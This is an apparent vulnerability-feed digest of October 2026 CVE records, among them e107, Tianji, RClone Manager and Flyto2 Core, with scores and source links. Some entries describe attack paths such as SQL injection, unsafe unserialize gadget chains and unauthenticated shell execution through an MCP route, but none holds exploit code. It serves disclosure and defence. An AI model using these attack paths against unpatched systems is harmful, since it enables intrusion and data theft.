Qexo is an open source online editor for static blogs. (Oct 12, 2026).
Qexo is an open source online editor for static blogs. From 4.0.0 until 4.2.0, Qexo exposes /api/init_step/ through init_step_api without authentication, authorization, or a setup-completion guard. An unauthenticated requester with a valid CSRF token obtained from a public page can submit the first initialization step and reset the INIT setting, causing the instance to re-enter the setup flow. The setup response and /init/ page can expose stored PROVIDER configuration, including service credentials, in frontend content. This issue is fixed in version 4.2.0.
CVSS 9.3 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44828).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-44828&date=2026-10-25).
Sources:
NVD CVE-2026-44828: https://nvd.nist.gov/vuln/detail/CVE-2026-44828
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-44828&date=2026-10-25
Qexo is an open source online editor for static blogs. From 4.0.0 until 4.2.0, Qexo exposes /api/init_step/ through init_step_api without authentication, authorization, or a setup-completion guard. An unauthenticated requester with a valid CSRF token obtained from a public page can submit the first initialization step and reset the INIT setting, causing the instance to re-enter the setup flow. The setup response and /init/ page can expose stored PROVIDER configuration, including service credentials, in frontend content. This issue is fixed in version 4.2.0.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### : Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability in Unitronics Unitronics UniStream Pro/UniLogic.
https://kevwire.com/record/CVE-2026-45449
: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability in Unitronics Unitronics UniStream Pro/UniLogic. (Oct 15, 2026).
: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability in Unitronics Unitronics UniStream Pro/UniLogic.

This issue affects Unitronics UniStream Pro/UniLogic: Unitronics UniStream Pro versions only (B10 / C10) – UniLogic versions prior to 1.41.329.
CVSS 8.3 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-45449).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-45449&date=2026-10-25).
Sources:
NVD CVE-2026-45449: https://nvd.nist.gov/vuln/detail/CVE-2026-45449
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-45449&date=2026-10-25
: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability in Unitronics Unitronics UniStream Pro/UniLogic.

This issue affects Unitronics UniStream Pro/UniLogic: Unitronics UniStream Pro versions only (B10 / C10) – UniLogic versions prior to 1.41.329.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### libIEC61850 is an open-source implementation of IEC 61850 client and server protocols including MMS, GOOSE, Sampled Values, and R-Session.
https://kevwire.com/record/CVE-2026-48503
libIEC61850 is an open-source implementation of IEC 61850 client and server protocols including MMS, GOOSE, Sampled Values, and R-Session. (Oct 16, 2026).
libIEC61850 is an open-source implementation of IEC 61850 client and server protocols including MMS, GOOSE, Sampled Values, and R-Session. Prior to 1.6.2, the MMS file service in src/mms/iso_mms/server/mms_file_service.c accepts an out-of-range initialPosition in fileOpen and stores it in the file-read state. The fileRead path then subtracts the larger read position from the file size using unsigned arithmetic and fails to limit the response to the actual FileSystem_readFile return value. The oversized response can include stale bytes from the reused connection buffer after the requested file contents, disclosing prior response data and protocol fragments to an unauthenticated remote client when the file service is enabled. This issue is fixed in version 1.6.2.
CVSS 7.5 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-48503).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-48503&date=2026-10-25).
Sources:
NVD CVE-2026-48503: https://nvd.nist.gov/vuln/detail/CVE-2026-48503
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-48503&date=2026-10-25
libIEC61850 is an open-source implementation of IEC 61850 client and server protocols including MMS, GOOSE, Sampled Values, and R-Session. Prior to 1.6.2, the MMS file service in src/mms/iso_mms/server/mms_file_service.c accepts an out-of-range initialPosition in fileOpen and stores it in the file-read state. The fileRead path then subtracts the larger read position from the file size using unsigned arithmetic and fails to limit the response to the actual FileSystem_readFile return value. The oversized response can include stale bytes from the reused connection buffer after the requested file contents, disclosing prior response data and protocol fragments to an unauthenticated remote client when the file service is enabled. This issue is fixed in version 1.6.2.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Radius is a cloud-native, portable application platform that makes app development easier for teams building cloud-native apps.
https://kevwire.com/record/CVE-2026-53999
Radius is a cloud-native, portable application platform that makes app development easier for teams building cloud-native apps. (Oct 14, 2026).
Radius is a cloud-native, portable application platform that makes app development easier for teams building cloud-native apps. Prior to 0.58.0, the Kubernetes controller deserializes the user-controlled radapp.io/status annotation on a Deployment and uses its container resource identifier for deletion without confirming ownership by that Deployment. An attacker with permission to modify Deployment annotations and knowledge of a target Radius resource ID can forge radapp.io/status and set radapp.io/enabled to false, causing reconciliation to enter the privileged deletion path for another tenant's Radius-managed container resource. In a multi-tenant installation this confused-deputy condition can delete another team's recoverable container resource and disrupt service; in a single-tenant installation the impact is limited to self denial of service. The multi-tenant Radius controller reads the annotations in pkg/controller/reconciler/annotations.go and reaches the privileged delete in pkg/controller/reconciler/deployment_reconciler.go. The issue does not disclose data, grant privileges, or provide persistence. This issue is fixed in version 0.58.0.
CVSS 7.7 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-53999).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-53999&date=2026-10-25).
Sources:
NVD CVE-2026-53999: https://nvd.nist.gov/vuln/detail/CVE-2026-53999
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-53999&date=2026-10-25
Radius is a cloud-native, portable application platform that makes app development easier for teams building cloud-native apps. Prior to 0.58.0, the Kubernetes controller deserializes the user-controlled radapp.io/status annotation on a Deployment and uses its container resource identifier for deletion without confirming ownership by that Deployment. An attacker with permission to modify Deployment annotations and knowledge of a target Radius resource ID can forge radapp.io/status and set radapp.io/enabled to false, causing reconciliation to enter the privileged deletion path for another tenant's Radius-managed container resource. In a multi-tenant installation this confused-deputy condition can delete another team's recoverable container resource and disrupt service; in a single-tenant installation the impact is limited to self denial of service. The multi-tenant Radius controller reads the annotations in pkg/controller/reconciler/annotations.go and reaches the privileged delete in pkg/controller/reconciler/deployment_reconciler.go. The issue does not disclose data, grant privileges, or provide persistence. This issue is fixed in version 0.58.0.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### OpenRemote is an open-source internet-of-things platform.
https://kevwire.com/record/CVE-2026-54640
OpenRemote is an open-source internet-of-things platform. (Oct 13, 2026).
OpenRemote is an open-source internet-of-things platform. Prior to 1.24.2, the KNXProtocol.startAssetImport method in agent/src/main/java/org/openremote/agent/protocol/knx/KNXProtocol.java processes 0.xml from an authenticated user's uploaded ETS project ZIP with Saxon TransformerFactoryImpl and XMLInputFactory parsers that permit external entity resolution. This incomplete remediation of CVE-2026-40882 leaves the KNX handler unprotected while the parallel Velbus handler is hardened, allowing a regular realm user to read files accessible to the JVM process or cause server-side requests. This issue is fixed in version 1.24.2.
CVSS 7.6 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-54640).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-54640&date=2026-10-25).
Sources:
NVD CVE-2026-54640: https://nvd.nist.gov/vuln/detail/CVE-2026-54640
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-54640&date=2026-10-25
OpenRemote is an open-source internet-of-things platform. Prior to 1.24.2, the KNXProtocol.startAssetImport method in agent/src/main/java/org/openremote/agent/protocol/knx/KNXProtocol.java processes 0.xml from an authenticated user's uploaded ETS project ZIP with Saxon TransformerFactoryImpl and XMLInputFactory parsers that permit external entity resolution. This incomplete remediation of CVE-2026-40882 leaves the KNX handler unprotected while the parallel Velbus handler is hardened, allowing a regular realm user to read files accessible to the JVM process or cause server-side requests. This issue is fixed in version 1.24.2.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Discourse ActivityPub adds ActivityPub support to Discourse.
https://kevwire.com/record/CVE-2026-55103
Discourse ActivityPub adds ActivityPub support to Discourse. (Oct 15, 2026).
Discourse ActivityPub adds ActivityPub support to Discourse. Prior to commit 1c8518b0f2abdf31cbea3e0b242f74d8994a9ba5, inbound ActivityPub processing does not sufficiently verify that the actor authenticated by the signed request matches the Activity actor and owns the referenced federated post. A remote attacker can exploit these missing identity and ownership checks to edit, delete, or reply to federated posts without the required permissions. This vulnerability is fixed with commit 1c8518b0f2abdf31cbea3e0b242f74d8994a9ba5.
CVSS 8.6 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-55103).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-55103&date=2026-10-25).
Sources:
NVD CVE-2026-55103: https://nvd.nist.gov/vuln/detail/CVE-2026-55103
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-55103&date=2026-10-25
Discourse ActivityPub adds ActivityPub support to Discourse. Prior to commit 1c8518b0f2abdf31cbea3e0b242f74d8994a9ba5, inbound ActivityPub processing does not sufficiently verify that the actor authenticated by the signed request matches the Activity actor and owns the referenced federated post. A remote attacker can exploit these missing identity and ownership checks to edit, delete, or reply to federated posts without the required permissions. This vulnerability is fixed with commit 1c8518b0f2abdf31cbea3e0b242f74d8994a9ba5.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### RClone Manager is a cross-platform GUI application designed to help users manage Rclone remotes efficiently.
https://kevwire.com/record/CVE-2026-55183
RClone Manager is a cross-platform GUI application designed to help users manage Rclone remotes efficiently. (Oct 13, 2026).
RClone Manager is a cross-platform GUI application designed to help users manage Rclone remotes efficiently. Prior to 0.2.7, RClone Manager starts the local rclone rcd service on 127.0.0.1:51900 with --rc-no-auth, --rc-allow-origin *, and --rc-serve. A malicious web page opened by a user while the daemon is running can therefore send cross-origin requests to the unauthenticated local API with the user's operating-system privileges. The requests can disclose configured storage credentials and potentially access, upload, modify, or exfiltrate locally stored files accessible to the user and files available through configured remotes; the advisory's possible command-execution impact remains unconfirmed. This issue is fixed in version 0.2.7.
CVSS 9.6 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-55183).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-55183&date=2026-10-25).
Sources:
NVD CVE-2026-55183: https://nvd.nist.gov/vuln/detail/CVE-2026-55183
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-55183&date=2026-10-25
RClone Manager is a cross-platform GUI application designed to help users manage Rclone remotes efficiently. Prior to 0.2.7, RClone Manager starts the local rclone rcd service on 127.0.0.1:51900 with --rc-no-auth, --rc-allow-origin *, and --rc-serve. A malicious web page opened by a user while the daemon is running can therefore send cross-origin requests to the unauthenticated local API with the user's operating-system privileges. The requests can disclose configured storage credentials and potentially access, upload, modify, or exfiltrate locally stored files accessible to the user and files available through configured remotes; the advisory's possible command-execution impact remains unconfirmed. This issue is fixed in version 0.2.7.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Tianji is an open source analytics, uptime monitoring, and server status platform.
https://kevwire.com/record/CVE-2026-55240
Tianji is an open source analytics, uptime monitoring, and server status platform. (Oct 15, 2026).
Tianji is an open source analytics, uptime monitoring, and server status platform. Prior to 1.31.29, formatString() in src/server/utils/template.ts passes survey feedTemplate and monitor notification templates to lodash template(), while the default evaluate pattern remains enabled. A workspace administrator can store an evaluate block using the <% code %> form, and the public survey.submit endpoint renders a survey template when an unauthenticated user submits a response. The compiled template executes server-side JavaScript in the Tianji Node.js process, allowing command execution, secret disclosure, data modification, or service disruption. This issue is fixed in version 1.31.29.
CVSS 9.1 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-55240).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-55240&date=2026-10-25).
Sources:
NVD CVE-2026-55240: https://nvd.nist.gov/vuln/detail/CVE-2026-55240
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-55240&date=2026-10-25
Tianji is an open source analytics, uptime monitoring, and server status platform. Prior to 1.31.29, formatString() in src/server/utils/template.ts passes survey feedTemplate and monitor notification templates to lodash template(), while the default evaluate pattern remains enabled. A workspace administrator can store an evaluate block using the <% code %> form, and the public survey.submit endpoint renders a survey template when an unauthenticated user submits a response. The compiled template executes server-side JavaScript in the Tianji Node.js process, allowing command execution, secret disclosure, data modification, or service disruption. This issue is fixed in version 1.31.29.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### bincookie is a header-only binarycookies parser.
https://kevwire.com/record/CVE-2026-55246
bincookie is a header-only binarycookies parser. (Oct 15, 2026).
bincookie is a header-only binarycookies parser. Prior to 0.1.9, bincookie_init_file() in bincookie.h allocates a buffer using the actual .binarycookies file length but trusts the file-controlled num_pages field as the loop bound for byte-swapping page_sizes entries. A crafted file can make the loop read and write beyond the heap allocation, and related unvalidated page sizes and cookie_offsets can drive additional out-of-bounds accesses in page and cookie iteration. Applications that parse an attacker-supplied binarycookies file may crash or suffer heap corruption that can potentially enable code execution. This issue is fixed in version 0.1.9.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-55246).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-55246&date=2026-10-25).
Sources:
NVD CVE-2026-55246: https://nvd.nist.gov/vuln/detail/CVE-2026-55246
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-55246&date=2026-10-25
bincookie is a header-only binarycookies parser. Prior to 0.1.9, bincookie_init_file() in bincookie.h allocates a buffer using the actual .binarycookies file length but trusts the file-controlled num_pages field as the loop bound for byte-swapping page_sizes entries. A crafted file can make the loop read and write beyond the heap allocation, and related unvalidated page sizes and cookie_offsets can drive additional out-of-bounds accesses in page and cookie iteration. Applications that parse an attacker-supplied binarycookies file may crash or suffer heap corruption that can potentially enable code execution. This issue is fixed in version 0.1.9.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### TuxGuitar is an open-source guitar tablature editor.
https://kevwire.com/record/CVE-2026-55543
TuxGuitar is an open-source guitar tablature editor. (Oct 16, 2026).
TuxGuitar is an open-source guitar tablature editor. Prior to 2.1.0, an untrusted .tg file can set gervil.soundbank.path to reference an on-disk archive, including the .tg file itself, whose META-INF/services/javax.sound.midi.Soundbank entry names an attacker-supplied class stored in that archive. When a user opens the file, JARSoundbankReader uses an unverified class loader to load and instantiate that class, executing its constructor with the privileges of the TuxGuitar process. This issue is fixed in version 2.1.0.
CVSS 8.5 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-55543).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-55543&date=2026-10-25).
Sources:
NVD CVE-2026-55543: https://nvd.nist.gov/vuln/detail/CVE-2026-55543
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-55543&date=2026-10-25
TuxGuitar is an open-source guitar tablature editor. Prior to 2.1.0, an untrusted .tg file can set gervil.soundbank.path to reference an on-disk archive, including the .tg file itself, whose META-INF/services/javax.sound.midi.Soundbank entry names an attacker-supplied class stored in that archive. When a user opens the file, JARSoundbankReader uses an unverified class loader to load and instantiate that class, executing its constructor with the privileges of the TuxGuitar process. This issue is fixed in version 2.1.0.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### e107 is a content management system (CMS).
https://kevwire.com/record/CVE-2026-55572
e107 is a content management system (CMS). (Oct 14, 2026).
e107 is a content management system (CMS). Prior to 2.3.7, the bundled alt_auth plugin's otherdb and e107db authentication backends interpolate the submitted login username directly into SQL in e107_plugins/alt_auth/otherdb_auth.php and e107_plugins/alt_auth/e107db_auth.php. The login() methods execute those strings with PDO::query() before effective sanitization, so an unauthenticated user can inject SQL when alt_auth is installed and either backend is configured with a live external database connection. The injection can expose or modify data available to the configured database account, and query failures can additionally disclose the generated query through the debug-message path. This issue is fixed in version 2.3.7.
CVSS 10.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-55572).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-55572&date=2026-10-25).
Sources:
NVD CVE-2026-55572: https://nvd.nist.gov/vuln/detail/CVE-2026-55572
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-55572&date=2026-10-25
e107 is a content management system (CMS). Prior to 2.3.7, the bundled alt_auth plugin's otherdb and e107db authentication backends interpolate the submitted login username directly into SQL in e107_plugins/alt_auth/otherdb_auth.php and e107_plugins/alt_auth/e107db_auth.php. The login() methods execute those strings with PDO::query() before effective sanitization, so an unauthenticated user can inject SQL when alt_auth is installed and either backend is configured with a live external database connection. The injection can expose or modify data available to the configured database account, and query failures can additionally disclose the generated query through the debug-message path. This issue is fixed in version 2.3.7.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### e107 is a content management system (CMS).
https://kevwire.com/record/CVE-2026-55573
e107 is a content management system (CMS). (Oct 14, 2026).
e107 is a content management system (CMS). Prior to 2.3.7, install.php decodes the attacker-controlled previous_steps POST parameter and passes it to unserialize() at file scope and again in the e_install constructor without restricting allowed classes. The installer remains accessible after a normal installation, and a crafted object graph using the bundled GuzzleHttp\Psr7\PumpStream class can flow through paths.hash into site_path, where string coercion invokes an attacker-controlled callable. An unauthenticated attacker who can reach install.php can therefore execute arbitrary PHP functions with the web server process's privileges, leading to full server compromise. This issue is fixed in version 2.3.7.
CVSS 9.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-55573).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-55573&date=2026-10-25).
Sources:
NVD CVE-2026-55573: https://nvd.nist.gov/vuln/detail/CVE-2026-55573
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-55573&date=2026-10-25
e107 is a content management system (CMS). Prior to 2.3.7, install.php decodes the attacker-controlled previous_steps POST parameter and passes it to unserialize() at file scope and again in the e_install constructor without restricting allowed classes. The installer remains accessible after a normal installation, and a crafted object graph using the bundled GuzzleHttp\Psr7\PumpStream class can flow through paths.hash into site_path, where string coercion invokes an attacker-controlled callable. An unauthenticated attacker who can reach install.php can therefore execute arbitrary PHP functions with the web server process's privileges, leading to full server compromise. This issue is fixed in version 2.3.7.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### AliasVault is a privacy-first password manager with built-in email aliasing.
https://kevwire.com/record/CVE-2026-55587
AliasVault is a privacy-first password manager with built-in email aliasing. (Oct 15, 2026).
AliasVault is a privacy-first password manager with built-in email aliasing. Prior to 0.29.4, the AliasVault browser extension passkey provider does not bind passkey requests to the actual webpage origin or verify that the requested relying-party identifier matches the current website. A malicious website can provide forged origin and relying-party values and, if a victim with a matching stored passkey approves the AliasVault passkey prompt, obtain a valid assertion for a different website. Exploitation requires the extension to be installed, unlocked, and configured as a passkey provider, requires a stored passkey for the impersonated site, and cannot occur silently because the victim must approve the prompt. The server, web application, and mobile applications are not affected. This issue is fixed in version 0.29.4.
CVSS 8.1 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-55587).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-55587&date=2026-10-25).
Sources:
NVD CVE-2026-55587: https://nvd.nist.gov/vuln/detail/CVE-2026-55587
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-55587&date=2026-10-25
AliasVault is a privacy-first password manager with built-in email aliasing. Prior to 0.29.4, the AliasVault browser extension passkey provider does not bind passkey requests to the actual webpage origin or verify that the requested relying-party identifier matches the current website. A malicious website can provide forged origin and relying-party values and, if a victim with a matching stored passkey approves the AliasVault passkey prompt, obtain a valid assertion for a different website. Exploitation requires the extension to be installed, unlocked, and configured as a passkey provider, requires a stored passkey for the impersonated site, and cannot occur silently because the victim must approve the prompt. The server, web application, and mobile applications are not affected. This issue is fixed in version 0.29.4.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### MultiTail is a utility for monitoring multiple log files in one terminal.
https://kevwire.com/record/CVE-2026-55601
MultiTail is a utility for monitoring multiple log files in one terminal. (Oct 13, 2026).
MultiTail is a utility for monitoring multiple log files in one terminal. In version 7.1.5 and earlier, the -ex and -eX execute-on-match feature appended attacker-controlled matched input to a configured command inside double quotes, then check_filter_exec() in mt.c passed the constructed command through execute_program() in exec.c to sh -c. Partial escaping left shell metacharacters such as command substitution active, allowing an attacker who could influence monitored input to execute commands as the user running MultiTail. No fixed release is available as of this review.
CVSS 7.3 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-55601).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-55601&date=2026-10-25).
Sources:
NVD CVE-2026-55601: https://nvd.nist.gov/vuln/detail/CVE-2026-55601
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-55601&date=2026-10-25
MultiTail is a utility for monitoring multiple log files in one terminal. In version 7.1.5 and earlier, the -ex and -eX execute-on-match feature appended attacker-controlled matched input to a configured command inside double quotes, then check_filter_exec() in mt.c passed the constructed command through execute_program() in exec.c to sh -c. Partial escaping left shell metacharacters such as command substitution active, allowing an attacker who could influence monitored input to execute commands as the user running MultiTail. No fixed release is available as of this review.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### FearlessCMS is a flat-file content management system centered on simplicity and open source.
https://kevwire.com/record/CVE-2026-55695
FearlessCMS is a flat-file content management system centered on simplicity and open source. (Oct 13, 2026).
FearlessCMS is a flat-file content management system centered on simplicity and open source. In 0.1.2b and earlier, an authenticated administrator can set an arbitrary Git repository URL through admin/updater-handler.php and trigger perform_update, which passes the URL to update.sh. The updater clones the repository and replaces the live plugins/, admin/, and includes/ directories without verifying the repository's identity, signatures, or contents. Because router.php permits existing PHP files under plugins to be executed by the PHP development server, attacker-supplied update content can execute arbitrary PHP with the web server process's privileges and persist as a backdoor. This issue is fixed in version 0.1.3b.
CVSS 9.1 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-55695).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-55695&date=2026-10-25).
Sources:
NVD CVE-2026-55695: https://nvd.nist.gov/vuln/detail/CVE-2026-55695
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-55695&date=2026-10-25
FearlessCMS is a flat-file content management system centered on simplicity and open source. In 0.1.2b and earlier, an authenticated administrator can set an arbitrary Git repository URL through admin/updater-handler.php and trigger perform_update, which passes the URL to update.sh. The updater clones the repository and replaces the live plugins/, admin/, and includes/ directories without verifying the repository's identity, signatures, or contents. Because router.php permits existing PHP files under plugins to be executed by the PHP development server, attacker-supplied update content can execute arbitrary PHP with the web server process's privileges and persist as a backdoor. This issue is fixed in version 0.1.3b.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Flyto2 Core is an execution kernel for automation and AI-agent workflows.
https://kevwire.com/record/CVE-2026-55786
Flyto2 Core is an execution kernel for automation and AI-agent workflows. (Oct 14, 2026).
Flyto2 Core is an execution kernel for automation and AI-agent workflows. From 2.26.2 until 2.26.4, the HTTP MCP POST /mcp route accepts unauthenticated JSON-RPC tools/call requests and forwards execute_module arguments to the module registry without the require_auth dependency used by the REST execution routes. An unauthenticated caller can select sandbox.execute_shell and supply its command parameter, which reaches asyncio.create_subprocess_shell with the privileges of the flyto-core server process. The endpoint is reachable locally under the default loopback binding and becomes network reachable when an operator binds the server to a non-loopback interface, allowing arbitrary OS command execution and potential full host compromise. This issue is fixed in version 2.26.4.
CVSS 8.4 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-55786).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-55786&date=2026-10-25).
Sources:
NVD CVE-2026-55786: https://nvd.nist.gov/vuln/detail/CVE-2026-55786
